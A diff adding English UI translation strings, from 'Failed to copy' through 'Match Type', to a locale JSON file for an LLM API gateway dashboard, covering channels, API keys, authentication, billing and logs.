+    "Failed to copy to clipboard": "Failed to copy to clipboard",
+    "Failed to create API key": "Failed to create API key",
+    "Failed to create channel": "Failed to create channel",
+    "Failed to create deployment": "Failed to create deployment",
+    "Failed to create provider": "Failed to create provider",
+    "Failed to create redemption code": "Failed to create redemption code",
+    "Failed to create user": "Failed to create user",
+    "Failed to delete {{count}} model(s)": "Failed to delete {{count}} model(s)",
+    "Failed to delete account": "Failed to delete account",
+    "Failed to delete API key": "Failed to delete API key",
+    "Failed to delete API keys": "Failed to delete API keys",
+    "Failed to delete channel": "Failed to delete channel",
+    "Failed to delete disabled channels": "Failed to delete disabled channels",
+    "Failed to delete invalid redemption codes": "Failed to delete invalid redemption codes",
+    "Failed to delete model": "Failed to delete model",
+    "Failed to delete provider": "Failed to delete provider",
+    "Failed to delete redemption code": "Failed to delete redemption code",
+    "Failed to delete user": "Failed to delete user",
+    "Failed to delete vendor": "Failed to delete vendor",
+    "Failed to disable {{count}} model(s)": "Failed to disable {{count}} model(s)",
+    "Failed to disable 2FA": "Failed to disable 2FA",
+    "Failed to disable channels": "Failed to disable channels",
+    "Failed to disable model": "Failed to disable model",
+    "Failed to disable tag channels": "Failed to disable tag channels",
+    "Failed to discover OIDC endpoints": "Failed to discover OIDC endpoints",
+    "Failed to enable {{count}} model(s)": "Failed to enable {{count}} model(s)",
+    "Failed to enable 2FA": "Failed to enable 2FA",
+    "Failed to enable channels": "Failed to enable channels",
+    "Failed to enable model": "Failed to enable model",
+    "Failed to enable tag channels": "Failed to enable tag channels",
+    "Failed to fetch checkin status": "Failed to fetch check-in status",
+    "Failed to fetch deployment details": "Failed to fetch deployment details",
+    "Failed to fetch models": "Failed to fetch models",
+    "Failed to fetch OIDC configuration. Please check the URL and network status": "Failed to fetch OIDC configuration. Please check the URL and network status",
+    "Failed to fetch upstream prices": "Failed to fetch upstream prices",
+    "Failed to fetch upstream ratios": "Failed to fetch upstream ratios",
+    "Failed to fetch usage": "Failed to fetch usage",
+    "Failed to fetch user information": "Failed to fetch user information",
+    "Failed to fix abilities": "Failed to fix abilities",
+    "Failed to generate token": "Failed to generate token",
+    "Failed to initialize OAuth": "Failed to initialize OAuth",
+    "Failed to initialize system": "Failed to initialize system",
+    "Failed to load": "Failed to load",
+    "Failed to load API keys": "Failed to load API keys",
+    "Failed to load billing history": "Failed to load billing history",
+    "Failed to load home page content": "Failed to load home page content",
+    "Failed to load image": "Failed to load image",
+    "Failed to load logs": "Failed to load logs",
+    "Failed to load Passkey status": "Failed to load Passkey status",
+    "Failed to load profile": "Failed to load profile",
+    "Failed to load redemption codes": "Failed to load redemption codes",
+    "Failed to load setup data": "Failed to load setup data",
+    "Failed to load setup status": "Failed to load setup status",
+    "Failed to load tag data": "Failed to load tag data",
+    "Failed to load users": "Failed to load users",
+    "Failed to parse group items": "Failed to parse group items",
+    "Failed to parse JSON file: {{name}}": "Failed to parse JSON file: {{name}}",
+    "Failed to query balance": "Failed to query balance",
+    "Failed to refresh cache stats": "Failed to refresh cache stats",
+    "Failed to regenerate backup codes": "Failed to regenerate backup codes",
+    "Failed to register Passkey": "Failed to register Passkey",
+    "Failed to remove Passkey": "Failed to remove Passkey",
+    "Failed to reset 2FA": "Failed to reset 2FA",
+    "Failed to reset model ratios": "Failed to reset model ratios",
+    "Failed to reset Passkey": "Failed to reset Passkey",
+    "Failed to save": "Failed to save",
+    "Failed to save announcements": "Failed to save announcements",
+    "Failed to save API info": "Failed to save API info",
+    "Failed to save FAQ": "Failed to save FAQ",
+    "Failed to save Uptime Kuma groups": "Failed to save Uptime Kuma groups",
+    "Failed to search API keys": "Failed to search API keys",
+    "Failed to search redemption codes": "Failed to search redemption codes",
+    "Failed to search users": "Failed to search users",
+    "Failed to send verification code": "Failed to send verification code",
+    "Failed to set tag": "Failed to set tag",
+    "Failed to setup 2FA": "Failed to setup 2FA",
+    "Failed to start {{provider}} login": "Failed to start {{provider}} login",
+    "Failed to start Discord login": "Failed to start Discord login",
+    "Failed to start GitHub login": "Failed to start GitHub login",
+    "Failed to start LinuxDO login": "Failed to start LinuxDO login",
+    "Failed to start OIDC login": "Failed to start OIDC login",
+    "Failed to start Passkey login": "Failed to start Passkey login",
+    "Failed to start Passkey registration": "Failed to start Passkey registration",
+    "Failed to start testing all channels": "Failed to start testing all channels",
+    "Failed to sync prices": "Failed to sync prices",
+    "Failed to sync ratios": "Failed to sync ratios",
+    "Failed to test all channels": "Failed to test all channels",
+    "Failed to test channel": "Failed to test channel",
+    "Failed to update all balances": "Failed to update all balances",
+    "Failed to update API key": "Failed to update API key",
+    "Failed to update API key status": "Failed to update API key status",
+    "Failed to update balance": "Failed to update balance",
+    "Failed to update channel": "Failed to update channel",
+    "Failed to update models": "Failed to update models",
+    "Failed to update profile": "Failed to update profile",
+    "Failed to update provider": "Failed to update provider",
+    "Failed to update redemption code": "Failed to update redemption code",
+    "Failed to update redemption code status": "Failed to update redemption code status",
+    "Failed to update setting": "Failed to update setting",
+    "Failed to update settings": "Failed to update settings",
+    "Failed to update tag": "Failed to update tag",
+    "Failed to update user": "Failed to update user",
+    "Failure keywords": "Failure keywords",
+    "Fair": "Fair",
+    "FAQ": "FAQ",
+    "FAQ added. Click \"Save Settings\" to apply.": "FAQ added. Click \"Save Settings\" to apply.",
+    "FAQ deleted. Click \"Save Settings\" to apply.": "FAQ deleted. Click \"Save Settings\" to apply.",
+    "FAQ saved successfully": "FAQ saved successfully",
+    "FAQ updated. Click \"Save Settings\" to apply.": "FAQ updated. Click \"Save Settings\" to apply.",
+    "FastGPT": "FastGPT",
+    "Feature in development": "Feature in development",
+    "Fee": "Fee",
+    "Fee Amount": "Fee Amount",
+    "Fetch available models for:": "Fetch available models for:",
+    "Fetch from Upstream": "Fetch from Upstream",
+    "Fetch Models": "Fetch Models",
+    "Fetched {{count}} model(s) from upstream": "Fetched {{count}} model(s) from upstream",
+    "Fetched {{count}} models": "Fetched {{count}} models",
+    "Fetching prefill groups...": "Fetching prefill groups...",
+    "Fetching upstream prices...": "Fetching upstream prices...",
+    "Fetching upstream ratios...": "Fetching upstream ratios...",
+    "field": "field",
+    "Field Mapping": "Field Mapping",
+    "Field passthrough controls": "Field passthrough controls",
+    "File Search": "File Search",
+    "Files to Retain": "Files to Retain",
+    "Fill All Models": "Fill All Models",
+    "Fill Codex CLI / Claude CLI Templates": "Fill Codex CLI / Claude CLI Templates",
+    "Fill example (all channels)": "Fill example (all channels)",
+    "Fill example (specific channels)": "Fill example (specific channels)",
+    "Fill in the following info to create a new subscription plan": "Fill in the following info to create a new subscription plan",
+    "Fill Related Models": "Fill Related Models",
+    "Fill Template": "Fill Template",
+    "Fill Templates": "Fill Templates",
+    "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format": "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format",
+    "Filled {{count}} model(s)": "Filled {{count}} model(s)",
+    "Filled {{count}} related model(s)": "Filled {{count}} related model(s)",
+    "Filter": "Filter",
+    "Filter by channel ID": "Filter by channel ID",
+    "Filter by group": "Filter by group",
+    "Filter by Midjourney task ID": "Filter by Midjourney task ID",
+    "Filter by model name...": "Filter by model name...",
+    "Filter by model...": "Filter by model...",
+    "Filter by name or ID...": "Filter by name or ID...",
+    "Filter by name or key...": "Filter by name or key...",
+    "Filter by name, ID, or key...": "Filter by name, ID, or key...",
+    "Filter by price field": "Filter by price field",
+    "Filter by ratio type": "Filter by ratio type",
+    "Filter by request ID": "Filter by request ID",
+    "Filter by task ID": "Filter by task ID",
+    "Filter by token name": "Filter by token name",
+    "Filter by username": "Filter by username",
+    "Filter by username, name or email...": "Filter by username, name or email...",
+    "Filter Dashboard Models": "Filter Dashboard Models",
+    "Filter models by type, endpoint, vendor, group and tags": "Filter models by type, endpoint, vendor, group and tags",
+    "Filter models...": "Filter models...",
+    "Filter...": "Filter...",
+    "Filters": "Filters",
+    "Final Consumed": "Final Consumed",
+    "Final cost = base × multiplier when conditions match": "Final cost = base × multiplier when conditions match",
+    "Final price multiplier (0.95 = 5% discount": "Final price multiplier (0.95 = 5% discount",
+    "Fine-tune Midjourney integration and guardrails.": "Fine-tune Midjourney integration and guardrails.",
+    "Finish Time": "Finish Time",
+    "First/Last Frame to Video": "First/Last Frame to Video",
+    "Fix Abilities": "Fix Abilities",
+    "Fixed abilities: {{success}} succeeded, {{fails}} failed": "Fixed abilities: {{success}} succeeded, {{fails}} failed",
+    "Fixed price": "Fixed price",
+    "Fixed price (USD)": "Fixed price (USD)",
+    "FluentRead extension not detected. Please ensure it is installed and active.": "FluentRead extension not detected. Please ensure it is installed and active.",
+    "Follow the guided steps to prepare your workspace before the first login.": "Follow the guided steps to prepare your workspace before the first login.",
+    "Footer": "Footer",
+    "Footer text displayed at the bottom of pages": "Footer text displayed at the bottom of pages",
+    "footer.columns.about.links.aboutProject": "About Project",
+    "footer.columns.about.links.contact": "Contact Us",
+    "footer.columns.about.links.features": "Features",
+    "footer.columns.about.title": "About Us",
+    "footer.columns.docs.links.apiDocs": "API Documentation",
+    "footer.columns.docs.links.installation": "Installation Guide",
+    "footer.columns.docs.links.quickStart": "Quick Start",
+    "footer.columns.docs.title": "Documentation",
+    "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+    "footer.columns.related.links.neko": "neko-api-key-tool",
+    "footer.columns.related.links.oneApi": "One API",
+    "footer.columns.related.title": "Related Projects",
+    "footer.defaultCopyright": "All rights reserved.",
+    "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment": "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment",
+    "For private deployments, format: https://fastgpt.run/api/openapi": "For private deployments, format: https://fastgpt.run/api/openapi",
+    "Force AUTH LOGIN": "Force AUTH LOGIN",
+    "Force Format": "Force Format",
+    "Force format response to OpenAI standard (OpenAI channel only)": "Force format response to OpenAI standard (OpenAI channel only)",
+    "Force SMTP authentication using AUTH LOGIN method": "Force SMTP authentication using AUTH LOGIN method",
+    "Forgot password": "Forgot password",
+    "Forgot password?": "Forgot password?",
+    "Form reset to saved values": "Form reset to saved values",
+    "Format": "Format",
+    "Format JSON": "Format JSON",
+    "Format:": "Format:",
+    "Format: Access Key ID|Secret Access Key": "Format: Access Key ID|Secret Access Key",
+    "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)": "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)",
+    "Format: Ak|Sk|Region": "Format: Ak|Sk|Region",
+    "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041": "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041",
+    "Format: APIKey|SecretKey": "Format: APIKey|SecretKey",
+    "Format: APPID|APISecret|APIKey": "Format: APPID|APISecret|APIKey",
+    "Format: AppId|SecretId|SecretKey": "Format: AppId|SecretId|SecretKey",
+    "Forward requests directly to upstream providers without any post-processing.": "Forward requests directly to upstream providers without any post-processing.",
+    "Free: {{free}} / Total: {{total}}": "Free: {{free}} / Total: {{total}}",
+    "Friendly name to identify this channel": "Friendly name to identify this channel",
+    "From Address": "From Address",
+    "From IO.NET deployment": "From IO.NET deployment",
+    "From model redirect, not yet added to models list": "From model redirect, not yet added to models list",
+    "Frontend Theme": "Frontend Theme",
+    "Full API Key": "Full API Key",
+    "Full Base URL (supports": "Full Base URL (supports",
+    "Full Code": "Full Code",
+    "Functions": "Functions",
+    "GC Count": "GC Count",
+    "GC executed": "GC executed",
+    "GC execution failed": "GC execution failed",
+    "Gemini": "Gemini",
+    "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.": "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.",
+    "General": "General",
+    "General Settings": "General Settings",
+    "Generate a Codex OAuth credential and paste it into the channel key field.": "Generate a Codex OAuth credential and paste it into the channel key field.",
+    "Generate and manage your API access token": "Generate and manage your API access token",
+    "Generate credential": "Generate credential",
+    "Generate Lyrics": "Generate Lyrics",
+    "Generate Music": "Generate Music",
+    "Generate new backup codes for account recovery": "Generate new backup codes for account recovery",
+    "Generate New Codes": "Generate New Codes",
+    "Generated image": "Generated image",
+    "Generating new codes will invalidate all existing backup codes.": "Generating new codes will invalidate all existing backup codes.",
+    "Generating...": "Generating...",
+    "Generic cache": "Generic cache",
+    "Get notified when balance falls below this value": "Get notified when balance falls below this value",
+    "Get Started": "Get Started",
+    "GitHub": "GitHub",
+    "Give the group a recognizable name and optional description.": "Give the group a recognizable name and optional description.",
+    "Give this group a recognizable name.": "Give this group a recognizable name.",
+    "Global configuration and administrative tools.": "Global configuration and administrative tools.",
+    "Global Coverage": "Global Coverage",
+    "Global Model Configuration": "Global Model Configuration",
+    "Go Back": "Go Back",
+    "Go back and edit": "Go back and edit",
+    "Go to Dashboard": "Go to Dashboard",
+    "Go to first page": "Go to first page",
+    "Go to io.net API Keys": "Go to io.net API Keys",
+    "Go to last page": "Go to last page",
+    "Go to next page": "Go to next page",
+    "Go to previous page": "Go to previous page",
+    "Go to settings": "Go to settings",
+    "Go to Settings": "Go to Settings",
+    "Good": "Good",
+    "Gotify Application Token": "Gotify Application Token",
+    "Gotify Documentation": "Gotify Documentation",
+    "Gotify Server URL": "Gotify Server URL",
+    "gpt-3.5-turbo": "gpt-3.5-turbo",
+    "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+    "gpt-4": "gpt-4",
+    "gpt-4, claude-3-opus, etc.": "gpt-4, claude-3-opus, etc.",
+    "GPU count": "GPU count",
+    "Grok": "Grok",
+    "Grok Settings": "Grok Settings",
+    "Group": "Group",
+    "Group & Quota": "Group & Quota",
+    "Group added. Click \"Save Settings\" to apply.": "Group added. Click \"Save Settings\" to apply.",
+    "Group channels by tag for batch operations": "Group channels by tag for batch operations",
+    "Group config overrides global limits, shares the same period": "Group config overrides global limits, shares the same period",
+    "Group deleted. Click \"Save Settings\" to apply.": "Group deleted. Click \"Save Settings\" to apply.",
+    "Group details": "Group details",
+    "Group identifier": "Group identifier",
+    "Group is required": "Group is required",
+    "Group name": "Group name",
+    "Group Name": "Group Name",
+    "Group name cannot be changed when editing.": "Group name cannot be changed when editing.",
+    "group ratio": "group ratio",
+    "Group Ratio": "Group Ratio",
+    "Group ratios": "Group ratios",
+    "Group updated. Click \"Save Settings\" to apply.": "Group updated. Click \"Save Settings\" to apply.",
+    "Group-based rate limits": "Group-based rate limits",
+    "Group:": "Group:",
+    "Group: {{ratio}}x": "Group: {{ratio}}x",
+    "Groups": "Groups",
+    "Groups *": "Groups *",
+    "Groups that users can select when creating API keys.": "Groups that users can select when creating API keys.",
+    "Guardrails": "Guardrails",
+    "Guest": "Guest",
+    "h": "h",
+    "Haiku Model": "Haiku Model",
+    "Hang tight while we finish connecting your account.": "Hang tight while we finish connecting your account.",
+    "Hang tight while we securely link this account to your profile.": "Hang tight while we securely link this account to your profile.",
+    "Hardware": "Hardware",
+    "Hardware type": "Hardware type",
+    "Has been disabled": "Disabled successfully",
+    "Has been enabled": "Enabled successfully",
+    "Has been invalidated": "Invalidated successfully",
+    "Have a Code?": "Have a Code?",
+    "Header": "Header",
+    "Header navigation": "Header navigation",
+    "Header Override": "Header Override",
+    "Hidden — verify to reveal": "Hidden — verify to reveal",
+    "Hide": "Hide",
+    "Hide API key": "Hide API key",
+    "High Performance": "High Performance",
+    "High-risk operation confirmation": "High-risk Operation Confirmation",
+    "High-risk status code retry confirmation text": "I CONFIRM",
+    "High-risk status code retry input mismatch": "The entered text does not match, please try again.",
+    "High-risk status code retry input placeholder": "Please type the confirmation text above",
+    "High-risk status code retry risk check 1": "I understand that retrying on these status codes may cause the upstream provider to charge normally, and the charges cannot be recovered.",
+    "High-risk status code retry risk check 2": "I understand that these status codes typically indicate that the request has been processed successfully by the upstream provider, and retrying may result in duplicate billing.",
+    "High-risk status code retry risk check 3": "I acknowledge that these configurations may cause significant financial losses and accept all related risks.",
+    "High-risk status code retry risk check 4": "I have carefully reviewed the above status code redirect rules and confirm they are correct.",
+    "High-risk status code retry risk disclaimer": "The following status code redirect rules contain high-risk configurations. Retrying on these status codes may cause normal upstream charges that cannot be recovered. Please carefully verify these configurations.",
+    "Higher priority channels are selected first": "Higher priority channels are selected first",
+    "Historical Usage": "Historical Usage",
+    "History of Midjourney-style image tasks.": "History of Midjourney-style image tasks.",
+    "Hit criteria: If cached tokens exist in usage, it counts as a hit.": "Hit criteria: If cached tokens exist in usage, it counts as a hit.",
+    "Hit Rate": "Hit Rate",
+    "Hit tier": "Hit tier",
+    "Home": "Home",
+    "Home Page Content": "Home Page Content",
+    "Hostname or IP of your SMTP provider": "Hostname or IP of your SMTP provider",
+    "Hour": "Hour",
+    "hours": "hours",
+    "How client credentials are sent to the token endpoint": "How client credentials are sent to the token endpoint",
+    "How frequently the system tests all channels": "How frequently the system tests all channels",
+    "How It Works": "How It Works",
+    "How model mapping works": "How model mapping works",
+    "How much to charge for each US dollar of balance (Epay)": "How much to charge for each US dollar of balance (Epay)",
+    "How this model name should match requests": "How this model name should match requests",
+    "How to get an io.net API Key": "How to get an io.net API Key",
+    "How to reset my quota?": "How to reset my quota?",
+    "How to select keys: random or sequential polling": "How to select keys: random or sequential polling",
+    "How will you use the platform?": "How will you use the platform?",
+    "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+    "https://api.example.com": "https://api.example.com",
+    "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+    "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+    "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+    "https://docs.example.com": "https://docs.example.com",
+    "https://example.com": "https://example.com",
+    "https://example.com/logo.png": "https://example.com/logo.png",
+    "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+    "https://example.com/topup": "https://example.com/topup",
+    "https://example.com/webhook": "https://example.com/webhook",
+    "https://gateway.example.com": "https://gateway.example.com",
+    "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+    "https://gotify.example.com": "https://gotify.example.com",
+    "https://pay.example.com": "https://pay.example.com",
+    "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+    "https://status.example.com": "https://status.example.com",
+    "https://wechat-server.example.com": "https://wechat-server.example.com",
+    "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+    "https://your-server.example.com": "https://your-server.example.com",
+    "Human-readable name shown to users during Passkey prompts.": "Human-readable name shown to users during Passkey prompts.",
+    "I confirm enabling high-risk retry": "I Confirm Enabling High-risk Retry",
+    "I have read and agree to the": "I have read and agree to the",
+    "I understand that disabling 2FA will remove all protection and backup codes": "I understand that disabling 2FA will remove all protection and backup codes",
+    "Icon": "Icon",
+    "Icon file must be 100 KB or smaller": "Icon file must be 100 KB or smaller",
+    "Icon identifier (e.g. github, gitlab)": "Icon identifier (e.g. github, gitlab)",
+    "ID": "ID",
+    "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.": "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.",
+    "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.": "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.",
+    "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing": "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing",
+    "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.": "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.",
+    "Image": "Image",
+    "Image Generation": "Image Generation",
+    "Image In": "Image In",
+    "Image input": "Image input",
+    "Image Out": "Image Out",
+    "Image Preview": "Image Preview",
+    "Image ratio": "Image ratio",
+    "Image to Video": "Image to Video",
+    "Image Tokens": "Image Tokens",
+    "Import to CC Switch": "Import to CC Switch",
+    "In Progress": "In Progress",
+    "In:": "In:",
+    "Include Group": "Include Group",
+    "Include Model": "Include Model",
+    "Include Rule Name": "Include Rule Name",
+    "Including failed requests, 0 = unlimited": "Including failed requests, 0 = unlimited",
+    "Index": "Index",
+    "Initial quota given to new users": "Initial quota given to new users",
+    "Initialization failed, please try again.": "Initialization failed, please try again.",
+    "Initialize": "Initialize",
+    "Initialize system": "Initialize system",
+    "Initializing…": "Initializing…",
+    "Inpaint": "Inpaint",
+    "Input": "Input",
+    "Input mode": "Input mode",
+    "Input price": "Input price",
+    "Input tokens": "Input tokens",
+    "Input Tokens": "Input Tokens",
+    "Inspect user prompts": "Inspect user prompts",
+    "Instance": "Instance",
+    "Integrations": "Integrations",
+    "Inter-group overrides": "Inter-group overrides",
+    "Inter-group ratio overrides": "Inter-group ratio overrides",
+    "Internal notes (not shown to users)": "Internal notes (not shown to users)",
+    "Internal Server Error!": "Internal Server Error!",
+    "Invalid chat link. Please contact the administrator.": "Invalid chat link. Please contact the administrator.",
+    "Invalid chat link. Please contact your administrator.": "Invalid chat link. Please contact your administrator.",
+    "Invalid code": "Invalid code",
+    "Invalid JSON": "Invalid JSON",
+    "Invalid JSON format": "Invalid JSON format",
+    "Invalid JSON format or values out of allowed range": "Invalid JSON format or values out of allowed range",
+    "Invalid JSON in parameter override template": "Invalid JSON in parameter override template",
+    "Invalid JSON string.": "Invalid JSON string.",
+    "Invalid model mapping format": "Invalid model mapping format",
+    "Invalid Passkey registration response": "Invalid Passkey registration response",
+    "Invalid Passkey response": "Invalid Passkey response",
+    "Invalid payment redirect URL": "Invalid payment redirect URL",
+    "Invalid reset link, please request a new password reset": "Invalid reset link, please request a new password reset",
+    "Invalid reset link, please request a new password reset.": "Invalid reset link, please request a new password reset.",
+    "Invalid rules JSON format": "Invalid rules JSON format",
+    "Invalid status code mapping entries: {{entries}}": "Invalid status code mapping entries: {{entries}}",
+    "Invalidate": "Invalidate",
+    "Invalidated": "Invalidated",
+    "Invitation Code": "Invitation Code",
+    "Invitation Quota": "Invitation Quota",
+    "Invite Info": "Invite Info",
+    "Invited": "Invited",
+    "Invited by user ID": "Invited by user ID",
+    "Invited Users": "Invited Users",
+    "Invitee Reward": "Invitee Reward",
+    "Inviter": "Inviter",
+    "Inviter Reward": "Inviter Reward",
+    "Invites": "Invites",
+    "io.net API Key": "io.net API Key",
+    "io.net Deployments": "io.net Deployments",
+    "IP": "IP",
+    "IP Address": "IP Address",
+    "IP Filter Mode": "IP Filter Mode",
+    "IP Restriction": "IP Restriction",
+    "IP Whitelist (supports CIDR)": "IP Whitelist (supports CIDR)",
+    "is less than the configured maximum cache size": "is less than the configured maximum cache size",
+    "is the default price; ": "is the default price; ",
+    "It seems like the page you're looking for": "It seems like the page you're looking for",
+    "Items": "Items",
+    "Japanese": "Japanese",
+    "Jimeng": "Jimeng",
+    "Jina": "Jina",
+    "JSON": "JSON",
+    "JSON array of group identifiers. When enabled below, new tokens rotate through this list.": "JSON array of group identifiers. When enabled below, new tokens rotate through this list.",
+    "JSON Editor": "JSON Editor",
+    "JSON format supports service account JSON files": "JSON format supports service account JSON files",
+    "JSON map of group → description exposed when users create API keys.": "JSON map of group → description exposed when users create API keys.",
+    "JSON map of group → ratio applied when the user selects the group explicitly.": "JSON map of group → ratio applied when the user selects the group explicitly.",
+    "JSON map of model → multiplier applied to quota billing.": "JSON map of model → multiplier applied to quota billing.",
+    "JSON map of model → USD cost per request. Takes precedence over ratio based billing.": "JSON map of model → USD cost per request. Takes precedence over ratio based billing.",
+    "JSON Mode": "JSON Mode",
+    "JSON must be an object": "JSON must be an object",
+    "JSON object:": "JSON object:",
+    "JSON-based access control rules. Leave empty to allow all users.": "JSON-based access control rules. Leave empty to allow all users.",
+    "Just now": "Just now",
+    "JustSong": "JustSong",
+    "K": "K",
+    "Keep enabled if you need to proxy requests for different upstream accounts.": "Keep enabled if you need to proxy requests for different upstream accounts.",
+    "Keep this above 1 minute to avoid heavy database load": "Keep this above 1 minute to avoid heavy database load",
+    "Keep-alive Ping": "Keep-alive Ping",
+    "Key": "Key",
+    "Key Fingerprint": "Key Fingerprint",
+    "Key Sources": "Key Sources",
+    "Key Summary": "Key Summary",
+    "Key Update Mode": "Key Update Mode",
+    "Kling": "Kling",
+    "Knowledge Base ID *": "Knowledge Base ID *",
+    "Landing page with system overview.": "Landing page with system overview.",
+    "Last Login": "Last Login",
+    "Last Seen": "Last Seen",
+    "Last Tested": "Last Tested",
+    "Last updated:": "Last updated:",
+    "Last Used": "Last Used",
+    "Last used:": "Last used:",
+    "Layout": "Layout",
+    "Learn more": "Learn more",
+    "Learn more:": "Learn more:",
+    "Leave": "Leave",
+    "Leave blank to keep the existing credential": "Leave blank to keep the existing credential",
+    "Leave blank to keep the existing key": "Leave blank to keep the existing key",
+    "Leave blank unless rotating the secret": "Leave blank unless rotating the secret",
+    "Leave empty for never expires": "Leave empty for never expires",
+    "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.",
+    "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.",
+    "Leave empty to disband the tag": "Leave empty to disband the tag",
+    "Leave empty to keep existing key": "Leave empty to keep existing key",
+    "Leave empty to keep unchanged": "Leave empty to keep unchanged",
+    "Leave empty to use account email": "Leave empty to use account email",
+    "Leave empty to use default": "Leave empty to use default",
+    "Leave empty to use system temp directory": "Leave empty to use system temp directory",
+    "Leave empty to use username": "Leave empty to use username",
+    "Less": "Less",
+    "Light": "Light",
+    "Lightning Fast": "Lightning Fast",
+    "Limit period": "Limit period",
+    "Limit Reached": "Limit Reached",
+    "Limit which models can be used with this key": "Limit which models can be used with this key",
+    "Limited": "Limited",
+    "LingYiWanWu": "LingYiWanWu",
+    "Link to your documentation site": "Link to your documentation site",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO Client ID": "LinuxDO Client ID",
+    "LinuxDO Client Secret": "LinuxDO Client Secret",
+    "List of models supported by this channel. Use comma to separate multiple models.": "List of models supported by this channel. Use comma to separate multiple models.",
+    "List of origins (one per line) allowed for Passkey registration and authentication.": "List of origins (one per line) allowed for Passkey registration and authentication.",
+    "List view": "List view",
+    "LLM prompt helper": "LLM prompt helper",
+    "Load Balancing": "Load Balancing",
+    "Load template...": "Load template...",
+    "Loader": "Loader",
+    "Loading configuration": "Loading configuration",
+    "Loading content settings...": "Loading content settings...",
+    "Loading current models...": "Loading current models...",
+    "Loading failed": "Loading failed",
+    "Loading maintenance settings...": "Loading maintenance settings...",
+    "Loading settings...": "Loading settings...",
+    "Loading setup status…": "Loading setup status…",
+    "Loading...": "Loading...",
+    "Local": "Local",
+    "Local Billing": "Local Billing",
+    "Local models": "Local models",
+    "Locations": "Locations",
+    "Locked": "Locked",
+    "log": "log",
+    "Log Details": "Log Details",
+    "Log Directory": "Log Directory",
+    "Log File Count": "Log File Count",
+    "Log files older than {{value}} days will be deleted.": "Log files older than {{value}} days will be deleted.",
+    "Log IP address for usage and error logs": "Log IP address for usage and error logs",
+    "Log Maintenance": "Log Maintenance",
+    "Log Type": "Log Type",
+    "Login failed": "Login failed",
+    "Logo": "Logo",
+    "Logo URL": "Logo URL",
+    "Logs": "Logs",
+    "m": "m",
+    "Maintain a list of common questions for the dashboard help panel": "Maintain a list of common questions for the dashboard help panel",
+    "Maintenance": "Maintenance",
+    "Make it easier for teammates to pick the right group.": "Make it easier for teammates to pick the right group.",
+    "Manage": "Manage",
+    "Manage account bindings for this user": "Manage account bindings for this user",
+    "Manage and configure": "Manage and configure",
+    "Manage API channels and provider configurations": "Manage API channels and provider configurations",
+    "Manage Bindings": "Manage Bindings",
+    "Manage catalog visibility and pricing.": "Manage catalog visibility and pricing.",
+    "Manage custom OAuth providers for user authentication": "Manage custom OAuth providers for user authentication",
+    "Manage Keys": "Manage Keys",
+    "Manage local models for:": "Manage local models for:",
+    "Manage model deployments": "Manage model deployments",
+    "Manage model metadata and configuration": "Manage model metadata and configuration",
+    "Manage multi-key status and configuration for this channel": "Manage multi-key status and configuration for this channel",
+    "Manage Ollama Models": "Manage Ollama Models",
+    "Manage redemption codes for quota top-up": "Manage redemption codes for quota top-up",
+    "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.": "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.",
+    "Manage subscription plan creation, pricing and status": "Manage subscription plan creation, pricing and status",
+    "Manage subscription plans and pricing.": "Manage subscription plans and pricing.",
+    "Manage Subscriptions": "Manage Subscriptions",
+    "Manage users and their permissions": "Manage users and their permissions",
+    "Manage Vendors": "Manage Vendors",
+    "Manage your API keys for accessing the service": "Manage your API keys for accessing the service",
+    "Manage your balance and payment methods": "Manage your balance and payment methods",
+    "Manage your security settings and account access": "Manage your security settings and account access",
+    "Manual Disabled": "Manual Disabled",
+    "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).": "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).",
+    "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.": "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.",
+    "Map request model names to actual provider model names (JSON format)": "Map request model names to actual provider model names (JSON format)",
+    "Map response status codes (JSON format)": "Map response status codes (JSON format)",
+    "Map upstream status codes to different codes": "Map upstream status codes to different codes",
+    "Match model name exactly": "Match model name exactly",
+    "Match models containing this name": "Match models containing this name",
+    "Match models ending with this name": "Match models ending with this name",
+    "Match models starting with this name": "Match models starting with this name",
+    "Match Type": "Match Type",
